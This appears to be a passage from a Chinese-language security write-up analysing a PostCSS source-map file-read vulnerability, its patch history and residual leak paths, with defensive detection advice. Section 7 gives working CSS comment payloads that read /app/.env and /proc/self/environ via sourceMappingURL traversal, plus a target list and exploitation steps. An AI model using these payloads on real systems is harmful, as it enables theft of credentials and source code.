  let [generatedCSS, generatedMap] = map.generate()
  // ...
}
// lib/map-generator.js
let input = new Input(this.originalCSS, this.opts)
if (input.map) this.previousMaps.push(input.map)

也就是说,在无插件的最常见路径里,调用链其实是:

Processor.process()
  → NoWorkResult
  → MapGenerator.isMap()
  → MapGenerator.previous()
  → new Input()
  → new PreviousMap()
  → loadAnnotation()
  → loadMap()
  → readFileSync()

这个细节对攻击者很重要,因为它说明:

  • 不需要命中特定插件生态
  • 不需要等待 AST 遍历或后续 transform
  • 只要业务代码把不可信 CSS 交给 postcss().process(),危险路径就已经开始执行

5.5 修复版跑出来是什么样(8.5.12)





这里最容易误判的地方有两个:

  1. ABSOLUTE=OK:"a{}" 说明非 .map 文件不再被读取
  2. MISSING=OK:"a{}" 不再是 <= 8.5.11 那种强 Oracle,因为"文件不存在""非 .map 被拒绝""坏 .map 被吞掉"都可能落成同一种平静输出

所以,原始 CVE-2026-45623 到 8.5.12 为止已经失效。但利用面没有归零,只是换了形态。后面我会把残余 .map 利用面和各版本补丁的作用放在一起看。

5.6 复现时一个很容易混淆的点

原始 Docker PoC 只能证明 CVE-2026-45623 本体,不能证明 8.5.12+ 的残余 .map 利用。因为它只测了:

  • 非 .map 绝对路径
  • 非 .map 穿越路径
  • 不存在文件

而 8.5.12+ 真正需要测的是:

  • 合法 JSON 的外部 .map
  • sourcesContent 是否被并入结果
  • 业务代码是否对外暴露 result.map

如果你把这两类利用混成一类讲,整篇文章的攻击模型就会塌掉。



补丁是怎么一步步收口的

原始 CVE 到 8.5.12 已经失效,但攻击者拿到的不是一句简单的"修完了",而是"原来的打法被切断,新的残余面留下来了"。所以这里不能只看某一个补丁点,而要把版本演化和残余利用面一起看。

6.1 8.5.12:第一刀先把什么砍掉了

8.5.12 的补丁做了两件事,对应两次关键提交(均发生在 2026-04-26):

提交

作用

aaec7b78

先做 JSON.parse() 预解析,失败即吞掉,不再把非 JSON 文件送入 SourceMapConsumer 触发异常外显

c64b7488

给非受信路径加 .map 后缀限制,并引入 unsafeMap 绕过开关

这两刀砍在不同位置,缺一不可:

刀口

旧数据流

新数据流

实际效果

第一刀:外显切断

readFileSync(non-JSON) → SourceMapConsumer → JSON.parse 异常外显

readFileSync(non-JSON) → 预先 JSON.parse 失败 → return undefined

非 .map 文本即使被读到,也不再自动借异常对外泄露

第二刀:输入收缩

任意注释值都可落到磁盘读取

非受信路径默认必须 .map 结尾

攻击者很难再把 .env、/etc/passwd 这类高价值文本送进读文件 sink

如果只有第一刀:攻击者仍能 blind read 任意文件,只是少了最方便的报错回显。如果只有第二刀:只要某些文本文件碰巧是可解析 JSON,或异常链路还在,攻击面仍然不干净。更重要的是,第一刀改变了核心安全语义——8.5.11 是"先信任文件内容、再交解析器判断",8.5.12 变成"先验证它像不像 source map、再决定是否处理"。

关键 diff:

  constructor(css, opts) {
    if (opts.map === false) return
+   if (opts.unsafeMap) this.unsafeMap = true
  }

  consumer() {
-   this.consumerCache = new SourceMapConsumer(this.text)
+   this.consumerCache = new SourceMapConsumer(this.json || this.text)
  }

- loadFile(path) {
+ loadFile(path, cssFile, trusted) {
+   if (!trusted && !this.unsafeMap) {
+     if (!/\.map$/i.test(path)) return undefined
+   }
  }

- return this.loadFile(map)
+ let unknown = this.loadFile(map, file, false)
+ if (unknown) {
+   try {
+     this.json = JSON.parse(unknown.replace(/^\)]}'[^\n]*\n/, ''))
+   } catch {
+     return undefined
+   }
+ }
+ return unknown

攻击链因此从:

读任意文件
  → 非 JSON
  → 自动异常外显

变成了:

读任意可达的 .map 文件
  → 必须是合法 JSON
  → 只有调用方把 result.map / sourcesContent 向外暴露时才真正泄露

残余面不再只是"任何返回 CSS 的接口",而是更具体的外显场景。下面两个向量本地验证:

向量 A:无 from,绝对路径 .map



这不是异常侧信道,而是完整的 source map 合并结果。只要目标 .map 自带 sourcesContent,泄露的是整段源码,不再是 10 个字节前缀。

向量 B:from 已设置,../ 越界读取外部 .map



这说明:外部 .map 确实会被读取并并入结果;泄露点已经从"V8 异常消息"变成了"生成后的 result.map 内容"。

所以 8.5.12 - 8.5.17 的典型受害面收窄到:

  • 在线 CSS playground / formatter 同时返回 css 和 map
  • 构建 API 把 result.map.toString() 写入 HTTP 响应
  • 调试接口把 map JSON 直接吐给前端
  • CI / SSR / bundler 流水线把生成 map 作为产物公开下载

6.2 8.5.18:把 from 目录边界补上,但无 from 的绝对路径 .map 仍在

PostCSS 8.5.18 于 2026-07-12 发布。官方 changelog 的表述是:

Restricted loading previous source maps file to the `opts.from` folder for security reasons

对攻击者而言,这一刀切掉的是"from 已设置 + 目标 .map 位于工作目录之外 + 通过 ../ 逃逸过去"这条路径。但它没有处理"调用方根本没传 from"这条默认入口。

本地验证:



这一阶段的攻击者画像进一步收窄:

  • 如果业务总是设置 from,而且对外暴露的只是当前生成 map,那么跨目录 .map 读取基本没了
  • 如果业务根本不传 from,那绝对路径 .map 仍然可以被偷读并借 result.map 外显

6.3 8.5.23:把最后一条默认入口关掉

PostCSS 8.5.23 于 2026-07-24 发布。release note 只有一句:

Do not load source map without `opts.from` for security reasons.

对利用者来说它等于:

  • 绝对路径 .map blind read 默认失效
  • 无 from 的线上处理接口不再是残余攻击面

本地验证:



这时默认无 from 路径也没了,原始 CVE 与两个 follow-up advisory 的主残余面基本完成收口。

6.4 把版本差异压成一张表

版本区间

非 .map 任意读取

前缀异常泄露

.map 越界读取

额外外显条件

<= 8.5.11

✅

✅

✅

无,异常本身就是外显

8.5.12 - 8.5.17

❌

❌

✅

需要 result.map / map 产物 / 调试接口外显

8.5.18 - 8.5.22

❌

❌

⚠️ 仅无 from 绝对路径

同上

>= 8.5.23

❌

❌

❌

默认入口关闭

这个矩阵比"修了 / 没修"更接近真实攻击面。

6.5 为什么不是一次补完

如果把这个漏洞只理解为"readFileSync() 前少了一个后缀判断",就很难解释为什么 PostCSS 要连续在 8.5.12、8.5.18、8.5.23 三次收口。更准确的看法是:它同时踩中了三个默认信任假设。

默认假设

旧行为

被哪次补丁打破

注释里的 sourceMappingURL 大体可信

非 data: 值继续走本地文件分支

8.5.12 先把非 .map 和非 JSON 挡掉

只要基于 from 去 join() 就足够安全

../ 可以越出 from 所在目录

8.5.18 增加目录边界限制

即使没有 from,自动加载 previous map 也问题不大

绝对路径 .map 仍可直接落到文件系统

8.5.23 关闭无 from 默认入口

这三步分别对应三层不同的安全语义:8.5.12 处理"读什么",8.5.18 处理"能从哪里读",8.5.23 处理"什么时候允许读"。

真正的问题不是某一个危险函数,而是一串"默认帮你做事"的隐式信任假设叠在一起。

6.6 别漏掉 data: 这条 inline 分支

8.5.12 的"第一刀"JSON.parse 预检看起来盖住了非 .map 文件的外显,但它在源码里只放在一条分支上——else if (this.annotation) 的文件分支;else if (this.inline) 的内联分支没有经过同样的预检。下面把这一差异从源码里取出来。

6.6.1 loadMap 在内联分支的源码

lib/previous-map.js 的 loadMap(脆弱版同结构,修复版本到 8.5.26 都保持此结构):

// lib/previous-map.js L129-144
} else if (this.inline) {
  return this.decodeInline(this.annotation)   // ← 直接 decode
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)
  let unknown = this.loadFile(map, file, false)
  if (unknown) {
    try {
      this.json = JSON.parse(unknown.replace(/^\)]}'[^\n]*\n/, ''))   // ← 仅此分支有预检
    } catch {
      return undefined                                                  // ← 仅此分支吞错
    }
  }
  return unknown
}

可以看到:

  • 文件路径分支(else if (this.annotation))在 readFileSync 后包了一层 try / catch,解析失败即 return undefined,不会让 SyntaxError 走出去;
  • 内联路径(else if (this.inline))没有这层 try / catch,decodeInline(...) 直接当成 text 返回。

后续在 Input 构造函数里(lib/input.js L72-76):

if (map.text) {
  this.map = map
  let file = map.consumer().file        // ← consumer() 调用 SourceMapConsumer
  ...
}

consumer() 会把 this.text 直接喂给 new SourceMapConsumer(this.text),随即落到 parseSourceMapInput 的 JSON.parse 上——一个不被任何一层吞错的 SyntaxError。

6.6.2 实测:内联路径下 8.5.26 仍然按"前缀外显"形态抛错

跟随 §4.5 / §4.7 的形态跑了三组样本,全部在 postcss@8.5.26 上重现:

注释 payload

process() 抛出的异常消息形态

data:application/json;base64,<NOT_JSON_GARBAGE...>

SyntaxError: Unexpected token 'N', "NOT_JSON_G"... is not valid JSON

data:application/json;charset=utf-8,SOMETHING_NOT_JSON

SyntaxError: Unexpected token 'S', "SOMETHING_NOT_JSON" is not valid JSON

data:application/json,)]}'XYZ_BAD(无换行)

SyntaxError: Unexpected token ')', ")]}'XYZ_BAD" is not valid JSON

data:application/json;base32,WTF(未识别编码)

Error: Unsupported source map encoding base32

最后一行尤其值得标记:当编码不在 decodeInline(lib/previous-map.js L39-58)的实现白名单内,它主动 throw new Error('Unsupported source map encoding ' + encoding),且 encoding 是注释里以 , 分隔的 mime 子串——内容显然是攻击者可控的。这条错误没有被任何上层吞,会同一路径直接冒到调用方。

对应实现如下,关键点是它先按 ; / , 拆 mime,再只接受极少数编码;未命中白名单时直接把攻击者可控的 encoding 拼进异常:

// lib/previous-map.js L39-58(postcss@8.5.26)
decodeInline(text) {
  let base64 = text.substr(0, 7).toLowerCase() === 'base64,'
  let encoding = text.substr(0, 9).toLowerCase() === 'charset=utf' ? text.substr(0, 16) : ''
  let uri = 'data:application/json,'

  if (base64) {
    return Buffer.from(text.substr(7), 'base64').toString()
  } else if (encoding) {
    return decodeURIComponent(text.substr(encoding.length + 1))
  } else if (text.charAt(0) === ',') {
    return decodeURIComponent(text.substr(1))
  } else {
    throw new Error(
      'Unsupported source map encoding ' +
        text.substr(0, text.indexOf(','))
    )
  }
}

6.6.3 是漏洞吗?取决于"谁控制内联数据"

  • 直接攻击者控制 CSS 的常见模型下,data: 内联分支的"前缀外显"是无效的:被泄露的字节就是攻击者自己写进注释的 base64/charset_payload,没有信息增量。所以检察和评分上它不构成"再发漏洞",原 GHSA 也未把它算进 8.5.12 残余面。
  • 可一旦 data: 注释不是攻击者直接写、而是某个上游 build / proxy 屏蔽层替他拼出来的(例如某 CDN 把源文件映射到 /*# sourceMappingURL=data:application/json;base64,...*/ 注释再喂给 PostCSS),8.5.12+ 的内联路径会继续以 SyntaxError 形态外显那段 server 端拼出来的字节前缀。这是 8.5.12 文件分支外显切断的事实在内联分支上不成立的具体语义。

防守推论:检测规则不要只刷"非 .map 文件读到的异常",还应该把 Unsupported source map encoding 与 SyntaxError ... .* is not valid JSON.*urlSourceMapping.*data: 一同入告警。

代码评审侧则建议把 else if (this.annotation) 的 try { JSON.parse } catch { return undefined } 重构成 loadMap 内部对所有 text 返回路径都生效的统一预检,跟"file vs data:"的拆分平级处理。

6.7 sourcesContent 是怎么一路并进结果里的

§6.1 提到"sourcesContent 被并入 result.map 后整段源码外显"的事实,但仅停留在断言,没有走完代码链路。下面把这条链路从 lib/map-generator.js 与 source-map-js/lib/source-map-generator.js 里取出来逐节对账。

6.7.1 三处关键源码定位

// lib/map-generator.js L46-63
applyPrevMaps() {
  for (let prev of this.previous()) {
    let from = this.toUrl(this.path(prev.file))
    let root = prev.root || dirname(prev.file)
    let map

    if (this.mapOpts.sourcesContent === false) {
      map = new SourceMapConsumer(prev.text)        // 显式关闭则单独构造、并把 sourcesContent 抹掉
      if (map.sourcesContent) map.sourcesContent = null
    } else {
      map = prev.consumer()                        // ← 默认走这里
    }
    this.map.applySourceMap(map, from, this.toUrl(this.path(root)))
  }
}
// lib/map-generator.js L103-124
generateMap() {
  if (this.root) {
    this.generateString()
  } else if (this.previous().length === 1) {       // ← 无插件路径
    let prev = this.previous()[0].consumer()        // ← 直接拿外部 .map 的 consumer
    prev.file = this.outputFile()                   // ← 把 file 字段覆盖为本地 outputFile
    this.map = SourceMapGenerator.fromSourceMap(prev, { ignoreInvalidMapping: true })
  } else {
    this.map = new SourceMapGenerator({ ... })      // 其余兜底
    ...
  }
  if (this.isSourcesContent()) this.setSourcesContent()
  if (this.root && this.previous().length > 0) this.applyPrevMaps()  // ← 有插件路径
  if (this.isAnnotation()) this.addAnnotation()
  ...
}
// node_modules/source-map-js/lib/source-map-generator.js L244-260(applySourceMap 末段)
aSourceMapConsumer.sources.forEach(function (sourceFile) {
  var content = aSourceMapConsumer.sourceContentFor(sourceFile)
  if (content != null) {
    if (aSourceMapPath != null) {
      sourceFile = util.join(aSourceMapPath, sourceFile)
    }
    if (sourceRoot != null) {
      sourceFile = util.relative(sourceRoot, sourceFile)
    }
    this.setSourceContent(sourceFile, content)        // ← 把外部 .map 的 sourcesContent 写入当前 generator
  }
}, this)

source-map-js 的 fromSourceMap(同源码文件 L42-91)也走类似步骤;无插件路径下,generateMap() 直接落进这里:

// node_modules/source-map-js/lib/source-map-generator.js L42-91(节选)
SourceMapGenerator.fromSourceMap = function (aSourceMapConsumer, generatorOptions) {
  var sourceRoot = aSourceMapConsumer.sourceRoot
  var generator = new SourceMapGenerator(generatorOptions)

  aSourceMapConsumer.eachMapping(function (mapping) {
    var newMapping = {
      generated: {
        line: mapping.generatedLine,
        column: mapping.generatedColumn
      }
    }
    if (mapping.source != null) {
      newMapping.source = mapping.source
      if (sourceRoot != null) {
        newMapping.source = util.relative(sourceRoot, newMapping.source)
      }
      newMapping.original = {
        line: mapping.originalLine,
        column: mapping.originalColumn
      }
      if (mapping.name != null) newMapping.name = mapping.name
    }
    generator.addMapping(newMapping)
  })

  aSourceMapConsumer.sources.forEach(function (sourceFile) {
    var content = aSourceMapConsumer.sourceContentFor(sourceFile)
    if (content != null) {
      generator.setSourceContent(sourceFile, content)   // ← 这里复制 sourcesContent
    }
  })

  return generator
}

6.7.2 透传路径拆开看

把上面三个定位串到攻击链上:

调用路径

触发条件

是否依赖 applyPrevMaps 复制 sourcesContent

无插件路径:MapGenerator.generateMap() → previous().length === 1 → SourceMapGenerator.fromSourceMap(prev)

调用方使用 postcss().process(css) 不带插件,且只有一个 previous map

✅,复制逻辑直接写在 fromSourceMap 内

有插件路径:generateMap() → this.root && this.previous().length > 0 → applyPrevMaps() → this.map.applySourceMap(...)

调用方通过至少一个 PostCSS 插件,使 this.root 非空

✅,由 applySourceMap 末段 Copy sourcesContent of applied map 完成

关闭路径:mapOpts.sourcesContent === false

调用方显式设置 { map: { sourcesContent: false } }

❌,applyPrevMaps 内 if (this.mapOpts.sourcesContent === false) 分支把 sourcesContent 设 null

注意 isSourcesContent()(lib/map-generator.js L244-252)的默认判定;它和 PreviousMap.withContent() 配合后,默认语义其实就是"只要 previous map 自带内容,就继续保留":

// lib/map-generator.js L244-252
isSourcesContent() {
  if (typeof this.mapOpts.sourcesContent !== 'undefined') {
    return this.mapOpts.sourcesContent
  } else {
    return this.previous().some(i => i.withContent())
  }
}
// lib/previous-map.js L152-157
withContent() {
  return (
    this.consumer().sourcesContent &&
    this.consumer().sourcesContent.length > 0
  )
}
  • 显式设置时取该值;
  • 不设置时,只要 previous() 中任意一个 withContent() 返回 true,就跟着保留——而 withContent() 只看 consumer().sourcesContent 是否非空数组(lib/previous-map.js L152-157)。
  • 既无 explicit 设也无可信 previous map,才回落到 true。

简单说,默认就是"保留 previous map 的 sourcesContent";想关掉必须主动设 { map: { sourcesContent: false } }。这把决定权交给了宿主层,而绝大多数宿主层并不显式介入选项——这正是 §6.1 §7.3 中"result.map 直接外显"在生产里仍然常见的根因。

6.7.3 攻击者能控的字段,不止 sourcesContent

source-map-js/lib/source-map-generator.js 的 applySourceMap(L183-L260)里有几处直接信任 aSourceMapConsumer 字段。前段先决定 sourceFile,末段再批量复制 sourcesContent:

// node_modules/source-map-js/lib/source-map-generator.js L195-200(节选)
var sourceFile = aSourceFile
if (aSourceFile == null) {
  if (aSourceMapConsumer.file == null) {
    throw new Error('SourceMapGenerator.prototype.applySourceMap requires either an explicit source file, or the source map\'s "file" property. Both were omitted.')
  }
  sourceFile = aSourceMapConsumer.file    // ← 直接信任 consumer.file
}
  • L195-200:sourceFile = aSourceMapConsumer.file ——当 aSourceFile 入参为 null 时使用。PostCSS 的 applyPrevMaps 显式传 from,这一条对 PostCSS 路径暂时打不上。
  • L244-255:aSourceMapConsumer.sources.forEach(... sourceContentFor(...))——sources 数组与 sourcesContent 数组完全由 attacker 的 .map 决定。
  • L248 util.join(aSourceMapPath, sourceFile):参与路径拼接,用作外部 map 出处 root 说明。

因此供攻击者控的真实可控面是:整个 sources 列表 + 每条对应的 sourcesContent 文本块。除了通过 result.map.toString() 反序列化泄露原内容,这些字符串还会进入:

  • 构建工具对 result.map 做的临时 JSON 写盘操作(如 Vite、Webpack devtool 把 map 写到 {file}.map);
  • 任何把 result.map 直接 JSON.parse 给前端调试接口 / sourcemap 上传服务 / source-map-explorer 之类组件的处理代码——它把攻击者内部字符串当可信 source 处理,潜在的二次注入。

6.7.4 8.5.18 / 8.5.23 是否关了这条链

把代码放回版本时间线:

  • 8.5.12 先加了 loadFile 的 .map 后缀限制与 JSON.parse 预检;8.5.18 再补 from 目录边界(见 §6.2)。这些修复都只挡进 sink 的路径,对 applySourceMap / fromSourceMap 的合并逻辑一字未动——只要 attacker 的 .map 通过新约束(例如位于 from 目录内),透传链依旧成立。
  • 8.5.23 关闭"无 from 默认入口",从源头切断进入 loadMap 的 annotation 分支。这一刀同样没有改 map-generator.js 的合并语义。"残余面被切掉"是指"没法再做这件事",而不是"做事时的合并逻辑变了"。

因此 external source map 的合并链路本身一直保留到现在;只要存在进入它的入口(具体的版本对应入口见 §6.4),攻击者就仍可把该 map 的 sources / sourcesContent 合入输出。

6.8 unsafeMap: true 打开后,补丁会失掉哪些保护

8.5.12 引入了 opts.unsafeMap 作为"信任白名单开关"(lib/postcss.d.ts L357-359 注释直接写 Disable source map file protections),同一版本也首次加入了 .map 后缀限制。后续 8.5.18 / 8.5.23 又分别补上目录边界与 from 强制。类型声明本身就已经把这个开关的语义写得很直白:

// lib/postcss.d.ts L357-359(节选)
interface MapOptions {
  unsafeMap?: boolean
  // Disable source map file protections
}

把 unsafeMap: true 打开后,loadFile 第一段全部 if-block 都被绕过——这三道路径侧保护会同时失效。下面把绕过后的具体复发面用 8.5.26(截至本文最新)实测出来。

6.8.1 loadFile 当前形态与 unsafeMap 范围

// lib/previous-map.js L97-114 (postcss@8.5.26)
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) return undefined      // (a) 后缀过滤
    if (!cssFile) return undefined                    // (b) 强制要求 from
    let rel = relative(realPath(dirname(cssFile)), realPath(path))
    if (rel === '..' || rel.startsWith('..' + sep) || isAbsolute(rel)) {
      return undefined                                // (c) 目录边界
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()
  }
}

trusted=true 来自 opts.map.prev 函数回调分支;当前版本在 loadMap() 里是这样走的:

// lib/previous-map.js L119-127(postcss@8.5.26)
loadMap(file, prev) {
  if (prev === false) return false
  if (prev) {
    if (typeof prev === 'string') {
      return this.loadFile(prev, file, true)
    } else if (prev instanceof PreviousMap) {
      return prev.text
    }
  }
  // ...
}

也就是说,trusted=true 是专门留给调用方显式提供 previous map 的受信入口;unsafeMap=true 则是把 annotation 分支读到的外部路径也整体抬到近似同等级别。它只影响 loadFile 这一关。loadMap 外层的 JSON.parse 预检(§6.1 第一刀)仍然存在,因此即便打开 unsafeMap,"非 JSON 文件 → SyntaxError 异常回显"这一原始 CVE 路径并不会复活。

那么真正复活了什么?下面是 8.5.26 的五组实测:

6.8.2 8.5.26 + unsafeMap: true 真实表现矩阵

目标文件

默认(unsafeMap 未设)

unsafeMap: true


/tmp/.../.env(非 JSON)

OK:"a{}",无 map

OK:"a{}",无 map

仍被外层预检吞掉,无前缀外显

/tmp/.../pkg.json(合法 JSON,有 version,无 sources)

OK:"a{}",无 map

ERR: "sources" is a required argument.


/tmp/.../no-version.json(合法 JSON,无 version)

OK:"a{}",无 map

ERR: "version" is a required argument.


/tmp/.../bad-source-map.json(合法 source map)

OK:"a{}",无 map(被 .map$ 后缀检查挡掉)

OK,result.map.toString() 含 "sourcesContent":["SECRET_steal_me_xxx ..."]

完整 source map 透传

/tmp/.../prefixed.map(XSSI 前缀包裹的 source map)

n/a(默认路径下 .map 文件已被允许—实测会读,无 unsafeMap 也透传,但路径必须在 from 边界内;无 from 时默认被 8.5.23 关掉)

OK,sourcesContent 完整外显

XSSI 正则 )]}'<...> 剥第一行后照常解析

6.8.3 三条非显眼的复发面

矩阵里有三条不是"原 CVE 复活"但确实成立的副作用:

  1. JSON 配置文件的字段探针。任何以 JSON 形式存在但不符合 source map schema 的文件(典型如 package.json、tsconfig.json、.eslintrc、manifest.json),在 unsafeMap: true 下会触发 source-map-js/lib/source-map-consumer.js 中 getArg 抛出的 "X" is a required argument. ——只告知 X 字段缺失,不直接读出内容。对常见输入,缺失顺序通常体现为先卡在 version 或 sources 之类必需字段,因此它更像一个"字段存在性 oracle",可帮助攻击者判断目标 JSON 离合法 source map 还差哪些字段。
  2. version 只有在更早必需字段都满足时才可能外显。Unsupported version: <version> 不是"只要有 version 字段就一定出现"。以常见 package.json 为例,source-map-js 会先因缺少 sources 报错,实测得到的是 ERR: "sources" is a required argument.。只有当目标 JSON 已经具备 version、sources、mappings 等 source map 必需骨架,但 version != 3 时,错误消息才会进入 Unsupported version: <version> 这一支路。
  3. 只有"合法 source map 形状的 JSON"才会进入 result.map。/tmp/.../bad-source-map.json 这种非 .map 后缀、但内容本身满足 source map schema 的目标,在默认配置下会被 .map$ 正则挡掉(见上表);一旦 unsafeMap: true,这个保护作废,它的 sources / sourcesContent 就会通过 SourceMapConsumer → applySourceMap / fromSourceMap pipeline 合入 result.map。但普通 JSON 并不会因此"全量泄出";如果缺少 source map 所需字段,流程会在 SourceMapConsumer 阶段直接报错并中止。

6.8.4 unsafeMap 的设计合理性与其威胁模型

8.5.12 引入 unsafeMap 本意是给"对外部输入已经做 sanitize、自己负责边界"的项目一个开关,避免被新加的 .map 后缀和 JSON 预检打断。问题是:

  • 文档只在 postcss.d.ts 给了一行注释,没有列明"打开后哪些保护失活";
  • 上层框架(Vite、Next.js、Webpack postcss-loader 等)但凡有"我要保留旧 source map 处理兼容性"的需求,很容易顺手设 unsafeMap: true,从而在不知情下把三道补丁全关掉;
  • 当前公开 npm registry 上未观察到主流项目的文件 unsafeMap 出现率,但搜索量与项目维护者文档稀疏意味着这是一个未来易踩、当前未被审计的开关。

对防守方有两点具体建议:

  • 在依赖审计 / SBOM 中针对 postcss 的 caller 做 opts.unsafeMap === true 的静态查找;任何调用点都应当被视为等同于"该调用点不受 8.5.12 / 8.5.18 / 8.5.23 三道补丁保护"。
  • 对自身代码库无条件 grep -rni "unsafeMap",特别是 source map 处理与 CI / CDN 边界场景。一旦命中,应当对该调用点的输入是否真的受信进行文档化复核。

从利用角度再看一遍

7.1 <= 8.5.11:最值钱的目标不是"能读文件",而是"能稳定带回什么前缀"

这一阶段的读法很粗暴,但回显窗口很短,所以目标选择很讲究。

优先级最高的目标通常是:

  • /app/.env
  • /proc/self/environ
  • /etc/passwd
  • 部署目录下的 .npmrc、.yarnrc、服务账户配置
  • 任何首部能明显暴露类型或凭据前缀的文件

原因很简单:只有大约一小段前缀,必须尽量让这段前缀高信噪比。

/* 绝对路径 */
a {}
/*# sourceMappingURL=/app/.env */

/* 已设置 from 时的目录穿越 */
a {}
/*# sourceMappingURL=../../../../../proc/self/environ */

7.2 8.5.12+:真正值钱的目标变成高内容密度 .map

当攻击面收缩到 .map,目标选择思路也要完全切换。优先目标不再是 .env,而是:

  • 前端 production bundle 的 .js.map
  • SSR / Node server bundle 的 .map
  • TypeScript 编译产物 .map
  • 任何带 sourcesContent 的 source map
  • 内网调试环境未删掉的构建产物

为什么这些 .map 值钱?因为它们可能直接包含:

  • 源代码全文
  • 内部绝对路径
  • API 路由
  • 私有逻辑与 feature flag
  • 注释中的临时密钥、测试 token、内部域名

如果 sourcesContent 被保留,攻击者拿到的往往不是"文件存在",而是可直接阅读的源码。

7.3 8.5.12+ 的真正外显点有哪些

残余 .map 利用必须和"哪里会把 map 输出出去"绑在一起看。常见外显 sink:

  • HTTP API 直接返回 result.map.toString()
  • playground / formatter 在 JSON 响应里同时返回 css 与 map
  • 构建服务把生成 map 作为可下载产物
  • debug endpoint 把 map object 序列化到日志或响应
  • 内部平台把 source map 上传到对象存储,再返回临时 URL

如果目标应用只消费 result.css,完全不看 result.map,那 8.5.12+ 的可利用性会大幅下降。

7.4 白帽实战里可以怎么分段判断

可以把实战判断压缩成四步:

  1. 先判断目标是不是把不可信 CSS 喂给了 PostCSS。
  2. 再判断是哪个版本段:<= 8.5.11 还是 8.5.12+。
  3. 如果是 <= 8.5.11,打非 JSON 高价值文本目标,靠异常前缀拿结果。
  4. 如果是 8.5.12+,放弃 .env 幻觉,转向合法 .map + result.map 外显链。

一句话总结就是:

8.5.11 以前:抢"异常"
8.5.12 以后:抢"map 出口"

7.5 8.5.12+ 为什么更像"源码窃取"

从 CWE 或 patch 语义看,它当然仍然是文件读取问题。但从真实攻击收益看,后续版本更像:

  • 读取特定格式的 source map
  • 借 map merge 机制把其内容带进输出
  • 再通过 sources / sourcesContent 做源码和路径窃取

因此如果文章面向白帽社区,后续阶段的标题最好不要继续强调"任意文件读取",而要强调:

attacker-controlled previous source map ingestion

这更符合 GHSA-r28c-9q8g-f849 和 GHSA-fxqj-rqcc-2cmp 的真实攻击形态。

最后补几条我觉得值得记下的观察

8.1 这类洞经常栽在"默认行为提前触发"

最危险的不是 readFileSync() 本身,而是它被挂在一个调用方通常不会预期的默认行为链上:

处理 CSS
  ≠
  只做 CSS 解析

处理 CSS
  =
  顺手自动加载 previous source map
  =
  顺手访问本地文件系统

这种设计一旦缺少边界检查,就非常容易从"便捷特性"滑成漏洞。

8.2 这条链很适合拿去做 CodeQL / taint 建模

这条链几乎是教科书级别的 taint flow:

Source:  CSS 注释中的 sourceMappingURL
  ↓
Flow:    getAnnotationURL() → loadMap() → join()
  ↓
Sink:    readFileSync()

对白帽来说,这类规则完全可以迁移到:

  • 其它 source map / previous map 处理器
  • Markdown / HTML / SVG 注释解释链
  • "输入中的元数据字段"被自动解释成文件路径的解析器

8.3 如果文章要压缩,我会保留这三个判断

  1. 原始 CVE 的爆点,在于异常自己帮攻击者把数据带出来。
  2. 后续版本的爆点,在于合法 .map 会被悄悄并入 result.map。
  3. 8.5.12+ 不是"还是同一个洞",而是"同一条默认链上残留的不同攻击原语"。

收个尾

CVE-2026-45623 最值得记住的,不是那一行 CSS 注释本身有多巧,而是它背后的那套规律:

默认启用的隐式行为
  + 用户可控元数据
  + 缺失安全边界
  = 可稳定利用的解析器漏洞

一直到 8.5.23,这条默认入口才真正被收口。

附录

A. 快速复现命令

# 如果你已经按上文创建了脚本文件
./repro/run.sh vuln
./repro/run.sh fixed
./repro/verify.sh

# 不落盘 shell 包装脚本也可以,直接执行 compose 命令即可
docker compose build vuln && docker compose run --rm vuln
docker compose build fixed && docker compose run --rm fixed